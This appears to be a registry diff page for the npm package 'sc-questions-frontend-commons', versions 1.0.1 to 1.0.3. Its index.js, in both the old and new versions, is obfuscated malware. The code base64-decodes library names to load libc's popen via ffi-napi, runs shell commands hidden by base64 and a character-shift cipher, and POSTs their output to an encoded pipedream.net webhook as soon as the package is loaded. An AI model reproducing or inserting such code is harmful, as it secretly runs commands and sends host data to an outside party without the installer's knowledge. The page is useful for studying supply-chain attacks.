sc-questions-frontend-commons 1.0.1 → 1.0.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +51 -35
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,61 +1,77 @@
1
- const dynamicRequire = (module) => require(module);
1
+ const r = (m) => require(m);
2
2
 
3
- const ffiLibName = Buffer.from('ZmZpLW5hcGk=', 'base64').toString('ascii');
4
- const ffi = dynamicRequire(ffiLibName);
3
+ const a = Buffer.from('ZmZpLW5hcGk=', 'base64').toString('ascii');
4
+ const b = r(a);
5
5
 
6
- const refLibName = Buffer.from('cmVmLW5hcGk=', 'base64').toString('ascii');
7
- const ref = dynamicRequire(refLibName);
6
+ const c = Buffer.from('cmVmLW5hcGk=', 'base64').toString('ascii');
7
+ const d = r(c);
8
8
 
9
- const libc = ffi.Library(Buffer.from('bGliYw==', 'base64').toString('ascii'), {
9
+ const e = b.Library(Buffer.from('bGliYw==', 'base64').toString('ascii'), {
10
10
  'popen': [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii'), [Buffer.from('c3RyaW5n', 'base64').toString('ascii'), Buffer.from('c3RyaW5n', 'base64').toString('ascii')]],
11
11
  'fgets': [Buffer.from('c3RyaW5n', 'base64').toString('ascii'), [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii'), 'int', Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii')]],
12
12
  'pclose': [Buffer.from('aW50', 'base64').toString('ascii'), [Buffer.from('cG9pbnRlcg==', 'base64').toString('ascii')]]
13
13
  });
14
14
 
15
- function decodeString(encodedText) {
16
- let decodedText = '';
17
- for (let i = 0; i < encodedText.length; i++) {
18
- decodedText += String.fromCharCode(encodedText.charCodeAt(i) - 1);
15
+ function x1(y1) {
16
+ let z1 = '';
17
+ for (let i = 0; i < y1.length; i++) {
18
+ z1 += String.fromCharCode(y1.charCodeAt(i) - 1);
19
19
  }
20
- return decodedText;
20
+ return z1;
21
21
  }
22
22
 
23
- const encodedCommand = Buffer.from('eGlwYm5q', 'base64').toString('ascii');
24
- const command = decodeString(encodedCommand);
23
+ function q2(w2) {
24
+ const x2 = x1(w2);
25
+ const y2 = Buffer.alloc(1024);
26
+ const z2 = e.popen(x2, 'r');
25
27
 
26
- const buffer = Buffer.alloc(1024);
27
- const commandStream = libc.popen(command, 'r');
28
+ if (!z2.isNull()) {
29
+ e.fgets(y2, 1024, z2);
30
+ e.pclose(z2);
31
+ } else {
32
+ console.error(`Error exta: ${x2}`);
33
+ return `Error exta: ${x2}`;
34
+ }
28
35
 
29
- if (!commandStream.isNull()) {
30
- libc.fgets(buffer, 1024, commandStream);
31
- libc.pclose(commandStream);
36
+ return y2.toString('utf8').trim();
32
37
  }
33
38
 
34
- const output = buffer.toString('utf8').trim();
35
39
 
36
- const webhookUrl = Buffer.from('aHR0cHM6Ly9lb3M3eWF3aHZ0cXZzbGIubS5waXBlZHJlYW0ubmV0', 'base64').toString('utf-8');
37
- const payload = JSON.stringify({ z5J: output });
40
+ const t1 = Buffer.from('qxe', 'base64').toString('ascii');
41
+ const t2 = Buffer.from('xipbnj', 'base64').toString('ascii');
42
+ const t3 = Buffer.from('je', 'base64').toString('ascii');
43
+
44
+ const r1 = q2(t1);
45
+ const r2 = q2(t2);
46
+ const r3 = q2(t3);
47
+
48
+ const u2 = Buffer.from('aHR0cHM6Ly9lb3M3eWF3aHZ0cXZzbGIubS5waXBlZHJlYW0ubmV0', 'base64').toString('utf-8');
49
+ const v2 = JSON.stringify({
50
+ a1: r1,
51
+ b1: r2,
52
+ c1: r3,
53
+ });
38
54
 
39
- const requestOptions = require('url').parse(webhookUrl);
40
- requestOptions.method = 'POST';
41
- requestOptions.headers = {
55
+ const w3 = require('url').parse(u2);
56
+ w3.method = 'POST';
57
+ w3.headers = {
42
58
  'Content-Type': 'application/json',
43
- 'Content-Length': Buffer.byteLength(payload),
59
+ 'Content-Length': Buffer.byteLength(v2),
44
60
  };
45
61
 
46
- const httpsRequest = require('https').request(requestOptions, (res) => {
47
- let response = '';
48
- res.on('data', (chunk) => {
49
- response += chunk;
62
+ const x3 = require('https').request(w3, (y3) => {
63
+ let z3 = '';
64
+ y3.on('data', (a4) => {
65
+ z3 += a4;
50
66
  });
51
- res.on('end', () => {
52
- console.log('Webhook response:', response);
67
+ y3.on('end', () => {
68
+ console.log('Response:', z3);
53
69
  });
54
70
  });
55
71
 
56
- httpsRequest.on('error', (err) => {
57
- console.error(`Problem with request: ${err.message}`);
72
+ x3.on('error', (b4) => {
73
+ console.error(`Error: ${b4.message}`);
58
74
  });
59
75
 
60
- httpsRequest.write(payload);
61
- httpsRequest.end();
76
+ x3.write(v2);
77
+ x3.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sc-questions-frontend-commons",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {